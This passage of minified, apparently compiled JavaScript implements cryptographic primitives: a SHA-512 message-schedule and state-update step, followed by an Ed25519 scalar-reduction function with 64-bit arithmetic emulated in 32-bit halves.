y4 ^ T3)) + m5 | 0, m5 = A8 = d5 >>> 0 > (T3 = D5 + d5 | 0) >>> 0 ? A8 + 1 | 0 : A8, a4[b5 + 160 >> 2] = T3, a4[b5 + 164 >> 2] = A8, e6 = e6 + i4 | 0, e6 = (A8 = C5 + _5 | 0) >>> 0 < C5 >>> 0 ? e6 + 1 | 0 : e6, C5 = ft2(x5, p5, 45), d5 = y4, C5 = (F5 = ((63 & p5) << 26 | x5 >>> 6) ^ ft2(x5, p5, 3) ^ C5) + A8 | 0, A8 = (y4 ^ d5 ^ p5 >>> 6) + e6 | 0, A8 = C5 >>> 0 < F5 >>> 0 ? A8 + 1 | 0 : A8, d5 = a4[M5 >> 2], M5 = e6 = a4[M5 + 4 >> 2], e6 = ft2(d5, e6, 63), F5 = y4, e6 = ft2(d5, M5, 56) ^ e6, D5 = C5, A8 = (M5 >>> 7 ^ (N6 = y4 ^ F5)) + A8 | 0, C5 = A8 = (C5 = ((127 & M5) << 25 | d5 >>> 7) ^ e6) >>> 0 > (F5 = D5 + C5 | 0) >>> 0 ? A8 + 1 | 0 : A8, a4[b5 + 168 >> 2] = F5, a4[b5 + 172 >> 2] = A8, e6 = s5 + M5 | 0, e6 = (A8 = d5 + v5 | 0) >>> 0 < d5 >>> 0 ? e6 + 1 | 0 : e6, D5 = d5 = a4[P5 + 4 >> 2], d5 = ft2(N6 = a4[P5 >> 2], d5, 63), M5 = y4, d5 = (P5 = ((127 & D5) << 25 | N6 >>> 7) ^ ft2(N6, D5, 56) ^ d5) + A8 | 0, A8 = (y4 ^ M5 ^ D5 >>> 7) + e6 | 0, e6 = d5 >>> 0 < P5 >>> 0 ? A8 + 1 | 0 : A8, A8 = ft2(T3, m5, 45), M5 = y4, A8 = ft2(T3, m5, 3) ^ A8, P5 = y4 ^ M5, M5 = d5, e6 = (m5 >>> 6 ^ P5) + e6 | 0, d5 = e6 = (d5 = ((63 & m5) << 26 | T3 >>> 6) ^ A8) >>> 0 > (M5 = M5 + d5 | 0) >>> 0 ? e6 + 1 | 0 : e6, a4[b5 + 176 >> 2] = M5, a4[b5 + 180 >> 2] = e6, H5 = a4[G5 >> 2], G5 = e6 = a4[G5 + 4 >> 2], P5 = e6, e6 = ft2(L5, f5, 63), A8 = y4, O5 = ((127 & f5) << 25 | L5 >>> 7) ^ ft2(L5, f5, 56) ^ e6, e6 = (y4 ^ A8 ^ f5 >>> 7) + h5 | 0, A8 = ((B5 = O5 + B5 | 0) >>> 0 < O5 >>> 0 ? e6 + 1 | 0 : e6) + P5 | 0, A8 = (e6 = B5 + H5 | 0) >>> 0 < B5 >>> 0 ? A8 + 1 | 0 : A8, h5 = ft2(M5, d5, 45), B5 = y4, P5 = (h5 = ((63 & d5) << 26 | M5 >>> 6) ^ ft2(M5, d5, 3) ^ h5) + e6 | 0, e6 = (y4 ^ B5 ^ d5 >>> 6) + A8 | 0, h5 = e6 = h5 >>> 0 > P5 >>> 0 ? e6 + 1 | 0 : e6, a4[b5 + 192 >> 2] = P5, a4[b5 + 196 >> 2] = e6, A8 = o5 + D5 | 0, A8 = (e6 = w5 + N6 | 0) >>> 0 < N6 >>> 0 ? A8 + 1 | 0 : A8, B5 = ft2(H5, G5, 63), N6 = y4, D5 = ((127 & G5) << 25 | H5 >>> 7) ^ ft2(H5, G5, 56) ^ B5, A8 = (y4 ^ N6 ^ G5 >>> 7) + A8 | 0, e6 = (B5 = D5 + e6 | 0) >>> 0 < D5 >>> 0 ? A8 + 1 | 0 : A8, A8 = ft2(F5, C5, 45), N6 = y4, A8 = ft2(F5, C5, 3) ^ A8, G5 = B5, e6 = (C5 >>> 6 ^ (D5 = y4 ^ N6)) + e6 | 0, B5 = e6 = (B5 = ((63 & C5) << 26 | F5 >>> 6) ^ A8) >>> 0 > (N6 = G5 + B5 | 0) >>> 0 ? e6 + 1 | 0 : e6, a4[b5 + 184 >> 2] = N6, a4[b5 + 188 >> 2] = e6, e6 = ft2(S5, u5, 63), A8 = y4, e6 = ((127 & u5) << 25 | S5 >>> 7) ^ ft2(S5, u5, 56) ^ e6, A8 = (y4 ^ A8 ^ u5 >>> 7) + g5 | 0, e6 = p5 + (e6 >>> 0 > (D5 = e6 + Q5 | 0) >>> 0 ? A8 + 1 | 0 : A8) | 0, e6 = (A8 = x5 + D5 | 0) >>> 0 < x5 >>> 0 ? e6 + 1 | 0 : e6, p5 = ft2(P5, h5, 45), x5 = y4, p5 = ft2(P5, h5, 3) ^ p5, D5 = y4 ^ x5, x5 = (p5 ^= (63 & h5) << 26 | P5 >>> 6) + A8 | 0, A8 = (h5 >>> 6 ^ D5) + e6 | 0, p5 = A8 = p5 >>> 0 > x5 >>> 0 ? A8 + 1 | 0 : A8, a4[b5 + 208 >> 2] = x5, a4[b5 + 212 >> 2] = A8, e6 = ft2(Q5, g5, 63), A8 = y4, D5 = ft2(Q5, g5, 56) ^ e6, A8 = ((e6 = g5 >>> 7 | 0) ^ y4 ^ A8) + f5 | 0, e6 = l5 + ((g5 = (Q5 = D5 ^ ((127 & g5) << 25 | Q5 >>> 7)) + L5 | 0) >>> 0 < Q5 >>> 0 ? A8 + 1 | 0 : A8) | 0, e6 = (A8 = g5 + k5 | 0) >>> 0 < k5 >>> 0 ? e6 + 1 | 0 : e6, f5 = ft2(N6, B5, 45), g5 = y4, l5 = (f5 = ((63 & B5) << 26 | N6 >>> 6) ^ ft2(N6, B5, 3) ^ f5) + A8 | 0, A8 = (y4 ^ g5 ^ B5 >>> 6) + e6 | 0, f5 = A8 = f5 >>> 0 > l5 >>> 0 ? A8 + 1 | 0 : A8, a4[b5 + 200 >> 2] = l5, a4[b5 + 204 >> 2] = A8, e6 = ft2(U5, E5, 63), A8 = y4, Q5 = ((127 & E5) << 25 | U5 >>> 7) ^ ft2(U5, E5, 56) ^ e6, e6 = (y4 ^ A8 ^ E5 >>> 7) + I5 | 0, A8 = C5 + ((g5 = Q5 + R5 | 0) >>> 0 < Q5 >>> 0 ? e6 + 1 | 0 : e6) | 0, A8 = (e6 = g5 + F5 | 0) >>> 0 < F5 >>> 0 ? A8 + 1 | 0 : A8, g5 = ft2(x5, p5, 45), C5 = y4, Q5 = e6, e6 = p5 >>> 6 | 0, g5 = ((63 & p5) << 26 | x5 >>> 6) ^ ft2(x5, p5, 3) ^ g5, A8 = (e6 ^ y4 ^ C5) + A8 | 0, g5 = A8 = g5 >>> 0 > (p5 = Q5 + g5 | 0) >>> 0 ? A8 + 1 | 0 : A8, a4[b5 + 224 >> 2] = p5, a4[b5 + 228 >> 2] = A8, e6 = ft2(R5, I5, 63), A8 = y4, e6 = ft2(R5, I5, 56) ^ e6, C5 = y4 ^ A8, Q5 = ((127 & I5) << 25 | R5 >>> 7) ^ e6, e6 = ((A8 = I5 >>> 7 | 0) ^ C5) + u5 | 0, A8 = m5 + ((I5 = Q5 + S5 | 0) >>> 0 < Q5 >>> 0 ? e6 + 1 | 0 : e6) | 0, A8 = (e6 = I5 + T3 | 0) >>> 0 < T3 >>> 0 ? A8 + 1 | 0 : A8, u5 = ft2(l5, f5, 45), I5 = y4, C5 = e6, e6 = f5 >>> 6 | 0, f5 = ((63 & f5) << 26 | l5 >>> 6) ^ ft2(l5, f5, 3) ^ u5, e6 = (e6 ^ y4 ^ I5) + A8 | 0, f5 = e6 = (u5 = C5 + f5 | 0) >>> 0 < f5 >>> 0 ? e6 + 1 | 0 : e6, a4[b5 + 216 >> 2] = u5, a4[b5 + 220 >> 2] = e6, e6 = ft2(v5, s5, 63), A8 = y4, I5 = ((127 & s5) << 25 | v5 >>> 7) ^ ft2(v5, s5, 56) ^ e6, A8 = (y4 ^ A8 ^ s5 >>> 7) + i4 | 0, A8 = B5 + ((e6 = I5 + _5 | 0) >>> 0 < I5 >>> 0 ? A8 + 1 | 0 : A8) | 0, e6 = (l5 = e6 + N6 | 0) >>> 0 < N6 >>> 0 ? A8 + 1 | 0 : A8, A8 = ft2(p5, g5, 45), I5 = y4, C5 = l5, l5 = ft2(p5, g5, 3) ^ A8, A8 = g5 >>> 6 | 0, g5 = C5 + (l5 ^= (63 & g5) << 26 | p5 >>> 6) | 0, e6 = (A8 ^ y4 ^ I5) + e6 | 0, a4[b5 + 240 >> 2] = g5, a4[b5 + 244 >> 2] = g5 >>> 0 < l5 >>> 0 ? e6 + 1 | 0 : e6, e6 = ft2(_5, i4, 63), A8 = y4, e6 = ft2(_5, i4, 56) ^ e6, g5 = y4 ^ A8, A8 = ((A8 = i4 >>> 7 | 0) ^ g5) + E5 | 0, e6 = d5 + ((e6 ^= (127 & i4) << 25 | _5 >>> 7) >>> 0 > (i4 = e6 + U5 | 0) >>> 0 ? A8 + 1 | 0 : A8) | 0, e6 = (A8 = i4 + M5 | 0) >>> 0 < M5 >>> 0 ? e6 + 1 | 0 : e6, i4 = ft2(u5, f5, 45), g5 = y4, l5 = A8, A8 = f5 >>> 6 | 0, i4 = ((63 & f5) << 26 | u5 >>> 6) ^ ft2(u5, f5, 3) ^ i4, A8 = (A8 ^ y4 ^ g5) + e6 | 0, i4 = A8 = i4 >>> 0 > (f5 = l5 + i4 | 0) >>> 0 ? A8 + 1 | 0 : A8, a4[b5 + 232 >> 2] = f5, a4[b5 + 236 >> 2] = A8, e6 = ft2(w5, o5, 63), A8 = y4, l5 = ft2(w5, o5, 56) ^ e6, A8 = ((e6 = o5 >>> 7 | 0) ^ y4 ^ A8) + s5 | 0, e6 = h5 + ((o5 = (g5 = l5 ^ ((127 & o5) << 25 | w5 >>> 7)) + v5 | 0) >>> 0 < g5 >>> 0 ? A8 + 1 | 0 : A8) | 0, e6 = (A8 = o5 + P5 | 0) >>> 0 < P5 >>> 0 ? e6 + 1 | 0 : e6, o5 = ft2(f5, i4, 45), s5 = y4, l5 = A8, A8 = i4 >>> 6 | 0, i4 = l5 + (o5 = ((63 & i4) << 26 | f5 >>> 6) ^ ft2(f5, i4, 3) ^ o5) | 0, A8 = (A8 ^ y4 ^ s5) + e6 | 0, a4[b5 + 248 >> 2] = i4, a4[b5 + 252 >> 2] = i4 >>> 0 < o5 >>> 0 ? A8 + 1 | 0 : A8; - e6 = e6 + a4[t7 + 4 >> 2] | 0, e6 = (r11 = i4 + a4[t7 >> 2] | 0) >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, a4[t7 >> 2] = r11, a4[t7 + 4 >> 2] = e6, A8 = a4[t7 + 12 >> 2] + a4[n9 + 12 >> 2] | 0, e6 = (r11 = a4[n9 + 8 >> 2]) + a4[t7 + 8 >> 2] | 0, a4[t7 + 8 >> 2] = e6, a4[t7 + 12 >> 2] = e6 >>> 0 < r11 >>> 0 ? A8 + 1 | 0 : A8, A8 = a4[t7 + 20 >> 2] + a4[n9 + 20 >> 2] | 0, e6 = (r11 = a4[n9 + 16 >> 2]) + a4[t7 + 16 >> 2] | 0, a4[t7 + 16 >> 2] = e6, a4[t7 + 20 >> 2] = e6 >>> 0 < r11 >>> 0 ? A8 + 1 | 0 : A8, e6 = a4[t7 + 28 >> 2] + a4[n9 + 28 >> 2] | 0, r11 = (A8 = a4[n9 + 24 >> 2]) + a4[t7 + 24 >> 2] | 0, a4[t7 + 24 >> 2] = r11, a4[t7 + 28 >> 2] = r11 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = a4[t7 + 36 >> 2] + a4[n9 + 36 >> 2] | 0, e6 = (r11 = a4[n9 + 32 >> 2]) + a4[t7 + 32 >> 2] | 0, a4[t7 + 32 >> 2] = e6, a4[t7 + 36 >> 2] = e6 >>> 0 < r11 >>> 0 ? A8 + 1 | 0 : A8, e6 = a4[t7 + 44 >> 2] + a4[n9 + 44 >> 2] | 0, r11 = (A8 = a4[n9 + 40 >> 2]) + a4[t7 + 40 >> 2] | 0, a4[t7 + 40 >> 2] = r11, a4[t7 + 44 >> 2] = r11 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = a4[t7 + 52 >> 2] + a4[n9 + 52 >> 2] | 0, e6 = (r11 = a4[n9 + 48 >> 2]) + a4[t7 + 48 >> 2] | 0, a4[t7 + 48 >> 2] = e6, a4[t7 + 52 >> 2] = e6 >>> 0 < r11 >>> 0 ? A8 + 1 | 0 : A8, A8 = a4[t7 + 60 >> 2] + a4[n9 + 60 >> 2] | 0, e6 = (r11 = a4[n9 + 56 >> 2]) + a4[t7 + 56 >> 2] | 0, a4[t7 + 56 >> 2] = e6, a4[t7 + 60 >> 2] = e6 >>> 0 < r11 >>> 0 ? A8 + 1 | 0 : A8; - } - function E4(t7) { - var e6, r11, n9, A8, i4, o5, a5, h5, g5, u5, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, X3 = 0, V3 = 0, W3 = 0; - d5 = (_5 = c4[t7 + 44 | 0] | c4[t7 + 45 | 0] << 8 | c4[t7 + 46 | 0] << 16 | c4[t7 + 47 | 0] << 24) >>> 5 & 2097151, p5 = Bt2(P5 = (c4[t7 + 60 | 0] | c4[t7 + 61 | 0] << 8 | c4[t7 + 62 | 0] << 16 | c4[t7 + 63 | 0] << 24) >>> 3 | 0, 0, -683901, -1), f5 = (l5 = c4[t7 + 44 | 0]) << 16 & 2031616 | c4[t7 + 42 | 0] | c4[t7 + 43 | 0] << 8, l5 = y4, B5 = l5 = f5 >>> 0 > (E5 = p5 + f5 | 0) >>> 0 ? l5 + 1 | 0 : l5, D5 = l5 = l5 - ((E5 >>> 0 < 4293918720) - 1 | 0) | 0, p5 = l5 >> 21, l5 = (f5 = d5) + (d5 = (2097151 & l5) << 11 | (C5 = E5 - -1048576 | 0) >>> 21) | 0, f5 = p5, Y5 = f5 = l5 >>> 0 < d5 >>> 0 ? f5 + 1 | 0 : f5, K5 = l5, M5 = Bt2(l5, f5, -683901, -1), w5 = y4, m5 = Bt2(e6 = (c4[t7 + 49 | 0] | c4[t7 + 50 | 0] << 8 | c4[t7 + 51 | 0] << 16 | c4[t7 + 52 | 0] << 24) >>> 7 & 2097151, 0, -997805, -1), p5 = (l5 = c4[t7 + 27 | 0]) >>> 24 | 0, d5 = l5 << 8 | (Q5 = c4[t7 + 23 | 0] | c4[t7 + 24 | 0] << 8 | c4[t7 + 25 | 0] << 16 | c4[t7 + 26 | 0] << 24) >>> 24, f5 = (l5 = c4[t7 + 28 | 0]) >>> 16 | 0, f5 = 2097151 & ((3 & (f5 |= p5)) << 30 | (l5 = d5 | l5 << 16) >>> 2), l5 = y4, l5 = f5 >>> 0 > (p5 = f5 + m5 | 0) >>> 0 ? l5 + 1 | 0 : l5, f5 = Bt2(H5 = (b5 = c4[t7 + 52 | 0] | c4[t7 + 53 | 0] << 8 | c4[t7 + 54 | 0] << 16 | c4[t7 + 55 | 0] << 24) >>> 4 & 2097151, 0, 654183, 0), l5 = y4 + l5 | 0, m5 = p5 = f5 + p5 | 0, p5 = f5 >>> 0 > p5 >>> 0 ? l5 + 1 | 0 : l5, I5 = (f5 = c4[t7 + 48 | 0]) << 8 | _5 >>> 24, f5 = l5 = f5 >>> 24 | 0, l5 = Bt2(r11 = 2097151 & ((3 & (_5 = (l5 = (d5 = c4[t7 + 49 | 0]) >>> 16 | 0) | f5)) << 30 | (f5 = (d5 <<= 16) | I5) >>> 2), 0, 136657, 0), p5 = y4 + p5 | 0, p5 = l5 >>> 0 > (f5 = l5 + m5 | 0) >>> 0 ? p5 + 1 | 0 : p5, d5 = (l5 = Bt2(n9 = (c4[t7 + 57 | 0] | c4[t7 + 58 | 0] << 8 | c4[t7 + 59 | 0] << 16 | c4[t7 + 60 | 0] << 24) >>> 6 & 2097151, 0, 666643, 0)) + f5 | 0, f5 = y4 + p5 | 0, m5 = d5, p5 = l5 >>> 0 > d5 >>> 0 ? f5 + 1 | 0 : f5, f5 = (l5 = c4[t7 + 56 | 0]) >>> 24 | 0, I5 = l5 << 8 | b5 >>> 24, f5 = Bt2(A8 = 2097151 & ((1 & (b5 = (l5 = (d5 = c4[t7 + 57 | 0]) >>> 16 | 0) | f5)) << 31 | (f5 = (d5 <<= 16) | I5) >>> 1), 0, 470296, 0), l5 = y4 + p5 | 0, f5 = (l5 = (p5 = d5 = f5 + m5 | 0) >>> 0 < f5 >>> 0 ? l5 + 1 | 0 : l5) + w5 | 0, f5 = p5 >>> 0 > (d5 = p5 + M5 | 0) >>> 0 ? f5 + 1 | 0 : f5, S5 = p5 - -1048576 | 0, N6 = p5 = l5 - ((p5 >>> 0 < 4293918720) - 1 | 0) | 0, w5 = d5 - (l5 = -2097152 & S5) | 0, M5 = f5 - ((l5 >>> 0 > d5 >>> 0) + p5 | 0) | 0, f5 = Bt2(e6, 0, 654183, 0), l5 = y4, l5 = f5 >>> 0 > (p5 = f5 + (Q5 >>> 5 & 2097151) | 0) >>> 0 ? l5 + 1 | 0 : l5, d5 = (f5 = p5) + (p5 = Bt2(H5, 0, 470296, 0)) | 0, f5 = y4 + l5 | 0, f5 = p5 >>> 0 > d5 >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(r11, j5, -997805, -1), f5 = y4 + f5 | 0, f5 = l5 >>> 0 > (p5 = l5 + d5 | 0) >>> 0 ? f5 + 1 | 0 : f5, d5 = (l5 = p5) + (p5 = Bt2(A8, z4, 666643, 0)) | 0, l5 = y4 + f5 | 0, I5 = d5, d5 = p5 >>> 0 > d5 >>> 0 ? l5 + 1 | 0 : l5, m5 = (p5 = Bt2(e6, 0, 470296, 0)) + (l5 = (l5 = c4[t7 + 23 | 0]) << 16 & 2031616 | c4[t7 + 21 | 0] | c4[t7 + 22 | 0] << 8) | 0, p5 = y4, p5 = l5 >>> 0 > m5 >>> 0 ? p5 + 1 | 0 : p5, m5 = (f5 = Bt2(H5, 0, 666643, 0)) + m5 | 0, l5 = y4 + p5 | 0, p5 = Bt2(r11, j5, 654183, 0), f5 = y4 + (f5 >>> 0 > m5 >>> 0 ? l5 + 1 | 0 : l5) | 0, b5 = f5 = p5 >>> 0 > (Q5 = p5 + m5 | 0) >>> 0 ? f5 + 1 | 0 : f5, G5 = f5 = f5 - ((Q5 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = (l5 = f5 >>> 21 | 0) + d5 | 0, p5 = l5 = (f5 = (2097151 & f5) << 11 | (m5 = Q5 - -1048576 | 0) >>> 21) >>> 0 > (I5 = f5 + I5 | 0) >>> 0 ? l5 + 1 | 0 : l5, v5 = f5 = l5 - ((I5 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = w5, w5 = (2097151 & f5) << 11 | (d5 = I5 - -1048576 | 0) >>> 21, f5 = (f5 >> 21) + M5 | 0, _5 = w5 = (f5 = w5 >>> 0 > (k5 = l5 + w5 | 0) >>> 0 ? f5 + 1 | 0 : f5) - ((k5 >>> 0 < 4293918720) - 1 | 0) | 0, L5 = k5 - (l5 = -2097152 & (M5 = k5 - -1048576 | 0)) | 0, q4 = f5 - ((l5 >>> 0 > k5 >>> 0) + w5 | 0) | 0, l5 = Bt2(K5, Y5, 136657, 0), p5 = y4 + p5 | 0, p5 = l5 >>> 0 > (f5 = l5 + I5 | 0) >>> 0 ? p5 + 1 | 0 : p5, F5 = f5 - (l5 = -2097152 & d5) | 0, O5 = p5 - ((l5 >>> 0 > f5 >>> 0) + v5 | 0) | 0, k5 = E5 - (l5 = -2097152 & C5) | 0, D5 = B5 - ((l5 >>> 0 > E5 >>> 0) + D5 | 0) | 0, B5 = Bt2(P5, 0, 136657, 0), f5 = (l5 = c4[t7 + 40 | 0]) >>> 24 | 0, d5 = l5 << 8 | (C5 = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24) >>> 24, p5 = (l5 = c4[t7 + 41 | 0]) >>> 16 | 0, f5 = (p5 |= f5) >>> 3 | 0, p5 = (7 & p5) << 29 | (l5 = d5 | l5 << 16) >>> 3, l5 = f5 + y4 | 0, l5 = p5 >>> 0 > (d5 = p5 + B5 | 0) >>> 0 ? l5 + 1 | 0 : l5, f5 = Bt2(n9, 0, -683901, -1), l5 = y4 + l5 | 0, l5 = f5 >>> 0 > (p5 = f5 + d5 | 0) >>> 0 ? l5 + 1 | 0 : l5, I5 = p5, f5 = Bt2(P5, 0, -997805, -1), p5 = y4, p5 = f5 >>> 0 > (d5 = f5 + (C5 >>> 6 & 2097151) | 0) >>> 0 ? p5 + 1 | 0 : p5, C5 = (f5 = d5) + (d5 = Bt2(n9, 0, 136657, 0)) | 0, f5 = y4 + p5 | 0, p5 = Bt2(A8, z4, -683901, -1), f5 = y4 + (d5 >>> 0 > C5 >>> 0 ? f5 + 1 | 0 : f5) | 0, w5 = f5 = p5 >>> 0 > (T3 = p5 + C5 | 0) >>> 0 ? f5 + 1 | 0 : f5, X3 = p5 = f5 - ((T3 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = l5 + (f5 = p5 >> 21) | 0, C5 = l5 = (p5 = (2097151 & p5) << 11 | (E5 = T3 - -1048576 | 0) >>> 21) >>> 0 > (v5 = p5 + I5 | 0) >>> 0 ? l5 + 1 | 0 : l5, R5 = l5 = l5 - ((v5 >>> 0 < 4293918720) - 1 | 0) | 0, f5 = (f5 = l5 >> 21) + D5 | 0, J5 = f5 = (l5 = (p5 = (2097151 & l5) << 11 | (I5 = v5 - -1048576 | 0) >>> 21) + k5 | 0) >>> 0 < p5 >>> 0 ? f5 + 1 | 0 : f5, U5 = l5, f5 = Bt2(l5, f5, -683901, -1), l5 = y4 + O5 | 0, x5 = p5 = f5 + F5 | 0, d5 = f5 >>> 0 > p5 >>> 0 ? l5 + 1 | 0 : l5, O5 = Q5 - (l5 = -2097152 & m5) | 0, D5 = b5 - ((4095 & G5) + (l5 >>> 0 > Q5 >>> 0) | 0) | 0, Q5 = Bt2(e6, 0, 666643, 0), l5 = (f5 = c4[t7 + 19 | 0]) >>> 24 | 0, m5 = f5 << 8 | (b5 = c4[t7 + 15 | 0] | c4[t7 + 16 | 0] << 8 | c4[t7 + 17 | 0] << 16 | c4[t7 + 18 | 0] << 24) >>> 24, p5 = l5, f5 = (7 & (p5 |= f5 = (l5 = c4[t7 + 20 | 0]) >>> 16 | 0)) << 29 | (f5 = (l5 <<= 16) | m5) >>> 3, p5 = y4 + (p5 >>> 3 | 0) | 0, p5 = f5 >>> 0 > (m5 = f5 + Q5 | 0) >>> 0 ? p5 + 1 | 0 : p5, l5 = Bt2(r11, j5, 470296, 0), f5 = y4 + p5 | 0, l5 = l5 >>> 0 > (m5 = l5 + m5 | 0) >>> 0 ? f5 + 1 | 0 : f5, p5 = Bt2(r11, j5, 666643, 0), f5 = y4, Q5 = f5 = p5 >>> 0 > (F5 = p5 + (b5 >>> 6 & 2097151) | 0) >>> 0 ? f5 + 1 | 0 : f5, V3 = p5 = f5 - ((F5 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = l5 + (f5 = p5 >>> 21 | 0) | 0, b5 = l5 = (p5 = (2097151 & p5) << 11 | (B5 = F5 - -1048576 | 0) >>> 21) >>> 0 > (k5 = p5 + m5 | 0) >>> 0 ? l5 + 1 | 0 : l5, W3 = l5 = l5 - ((k5 >>> 0 < 4293918720) - 1 | 0) | 0, f5 = (f5 = l5 >>> 21 | 0) + D5 | 0, f5 = (l5 = (2097151 & l5) << 11 | (m5 = k5 - -1048576 | 0) >>> 21) >>> 0 > (p5 = l5 + O5 | 0) >>> 0 ? f5 + 1 | 0 : f5, D5 = (l5 = p5) + (p5 = Bt2(K5, Y5, -997805, -1)) | 0, l5 = y4 + f5 | 0, l5 = p5 >>> 0 > D5 >>> 0 ? l5 + 1 | 0 : l5, G5 = f5 = v5 - (p5 = -2097152 & I5) | 0, i4 = I5 = C5 - ((p5 >>> 0 > v5 >>> 0) + R5 | 0) | 0, p5 = Bt2(U5, J5, 136657, 0), l5 = y4 + l5 | 0, l5 = p5 >>> 0 > (C5 = p5 + D5 | 0) >>> 0 ? l5 + 1 | 0 : l5, p5 = Bt2(f5, I5, -683901, -1), f5 = y4 + l5 | 0, C5 = f5 = p5 >>> 0 > (D5 = p5 + C5 | 0) >>> 0 ? f5 + 1 | 0 : f5, R5 = l5 = f5 - ((D5 >>> 0 < 4293918720) - 1 | 0) | 0, f5 = (2097151 & l5) << 11 | (I5 = D5 - -1048576 | 0) >>> 21, l5 = (l5 >> 21) + d5 | 0, x5 = f5 = (l5 = f5 >>> 0 > (v5 = f5 + x5 | 0) >>> 0 ? l5 + 1 | 0 : l5) - ((v5 >>> 0 < 4293918720) - 1 | 0) | 0, O5 = (2097151 & f5) << 11 | (d5 = v5 - -1048576 | 0) >>> 21, f5 = (f5 >> 21) + q4 | 0, a5 = L5 = O5 + L5 | 0, O5 = L5 >>> 0 < O5 >>> 0 ? f5 + 1 | 0 : f5, h5 = v5 - (f5 = -2097152 & d5) | 0, g5 = l5 - ((f5 >>> 0 > v5 >>> 0) + x5 | 0) | 0, L5 = D5 - (l5 = -2097152 & I5) | 0, q4 = C5 - ((l5 >>> 0 > D5 >>> 0) + R5 | 0) | 0, p5 = (l5 = Bt2(K5, Y5, 654183, 0)) + (k5 - (f5 = -2097152 & m5) | 0) | 0, f5 = y4 + (b5 - ((2147483647 & W3) + (f5 >>> 0 > k5 >>> 0) | 0) | 0) | 0, f5 = l5 >>> 0 > p5 >>> 0 ? f5 + 1 | 0 : f5, l5 = Bt2(U5, J5, -997805, -1), f5 = y4 + f5 | 0, f5 = l5 >>> 0 > (p5 = l5 + p5 | 0) >>> 0 ? f5 + 1 | 0 : f5, d5 = (l5 = p5) + (p5 = Bt2(G5, i4, 136657, 0)) | 0, l5 = y4 + f5 | 0, x5 = d5, C5 = p5 >>> 0 > d5 >>> 0 ? l5 + 1 | 0 : l5, k5 = T3 - (l5 = -2097152 & E5) | 0, v5 = w5 - ((l5 >>> 0 > T3 >>> 0) + X3 | 0) | 0, b5 = Bt2(H5, 0, -683901, -1), l5 = (f5 = c4[t7 + 35 | 0]) >>> 24 | 0, d5 = f5 << 8 | (m5 = c4[t7 + 31 | 0] | c4[t7 + 32 | 0] << 8 | c4[t7 + 33 | 0] << 16 | c4[t7 + 34 | 0] << 24) >>> 24, p5 = l5, f5 = (l5 = c4[t7 + 36 | 0]) >>> 16 | 0, f5 |= p5, p5 = y4, p5 = (l5 = 2097151 & ((1 & f5) << 31 | (l5 = l5 << 16 | d5) >>> 1)) >>> 0 > (f5 = l5 + b5 | 0) >>> 0 ? p5 + 1 | 0 : p5, d5 = (l5 = Bt2(P5, 0, 654183, 0)) + f5 | 0, f5 = y4 + p5 | 0, f5 = l5 >>> 0 > d5 >>> 0 ? f5 + 1 | 0 : f5, p5 = Bt2(n9, 0, -997805, -1), l5 = y4 + f5 | 0, l5 = p5 >>> 0 > (d5 = p5 + d5 | 0) >>> 0 ? l5 + 1 | 0 : l5, f5 = Bt2(A8, z4, 136657, 0), l5 = y4 + l5 | 0, I5 = p5 = f5 + d5 | 0, d5 = f5 >>> 0 > p5 >>> 0 ? l5 + 1 | 0 : l5, l5 = Bt2(e6, 0, -683901, -1), f5 = y4, f5 = l5 >>> 0 > (p5 = l5 + (m5 >>> 4 & 2097151) | 0) >>> 0 ? f5 + 1 | 0 : f5, m5 = (l5 = Bt2(H5, 0, 136657, 0)) + p5 | 0, p5 = y4 + f5 | 0, p5 = l5 >>> 0 > m5 >>> 0 ? p5 + 1 | 0 : p5, l5 = Bt2(P5, 0, 470296, 0), f5 = y4 + p5 | 0, f5 = l5 >>> 0 > (m5 = l5 + m5 | 0) >>> 0 ? f5 + 1 | 0 : f5, m5 = (p5 = Bt2(n9, 0, 654183, 0)) + m5 | 0, l5 = y4 + f5 | 0, f5 = Bt2(A8, z4, -997805, -1), l5 = y4 + (p5 >>> 0 > m5 >>> 0 ? l5 + 1 | 0 : l5) | 0, b5 = l5 = f5 >>> 0 > (w5 = f5 + m5 | 0) >>> 0 ? l5 + 1 | 0 : l5, u5 = f5 = l5 - ((w5 >>> 0 < 4293918720) - 1 | 0) | 0, p5 = (l5 = f5 >> 21) + d5 | 0, D5 = f5 = (p5 = (f5 = (2097151 & f5) << 11 | (m5 = w5 - -1048576 | 0) >>> 21) >>> 0 > (E5 = f5 + I5 | 0) >>> 0 ? p5 + 1 | 0 : p5) - ((E5 >>> 0 < 4293918720) - 1 | 0) | 0, l5 = (l5 = f5 >> 21) + v5 | 0, R5 = l5 = (f5 = (d5 = (2097151 & f5) << 11 | (I5 = E5 - -1048576 | 0) >>> 21) + k5 | 0) >>> 0 < d5 >>> 0 ? l5 + 1 | 0 : l5, d5 = x5, x5 = f5, l5 = Bt2(f5, l5, -683901, -1), f5 = y4 + C5 | 0, v5 = d5 = d5 + l5 | 0, d5 = l5 >>> 0 > d5 >>> 0 ? f5 + 1 | 0 : f5, C5 = (l5 = Bt2(K5, Y5, 470296, 0)) + (F5 - (f5 = -2097152 & B5) | 0) | 0, f5 = y4 + (Q5 - ((2047 & V3) + (f5 >>> 0 > F5 >>> 0) | 0) | 0) | 0, f5 = l5 >>> 0 > C5 >>> 0 ? f5 + 1 | 0 : f5, B5 = (l5 = C5) + (C5 = Bt2(U5, J5, 654183, 0)) | 0, l5 = y4 + f5 | 0, l5 = C5 >>> 0 > B5 >>> 0 ? l5 + 1 | 0 : l5, C5 = Bt2(G5, i4, -997805, -1), f5 = y4 + l5 | 0, f5 = C5 >>> 0 > 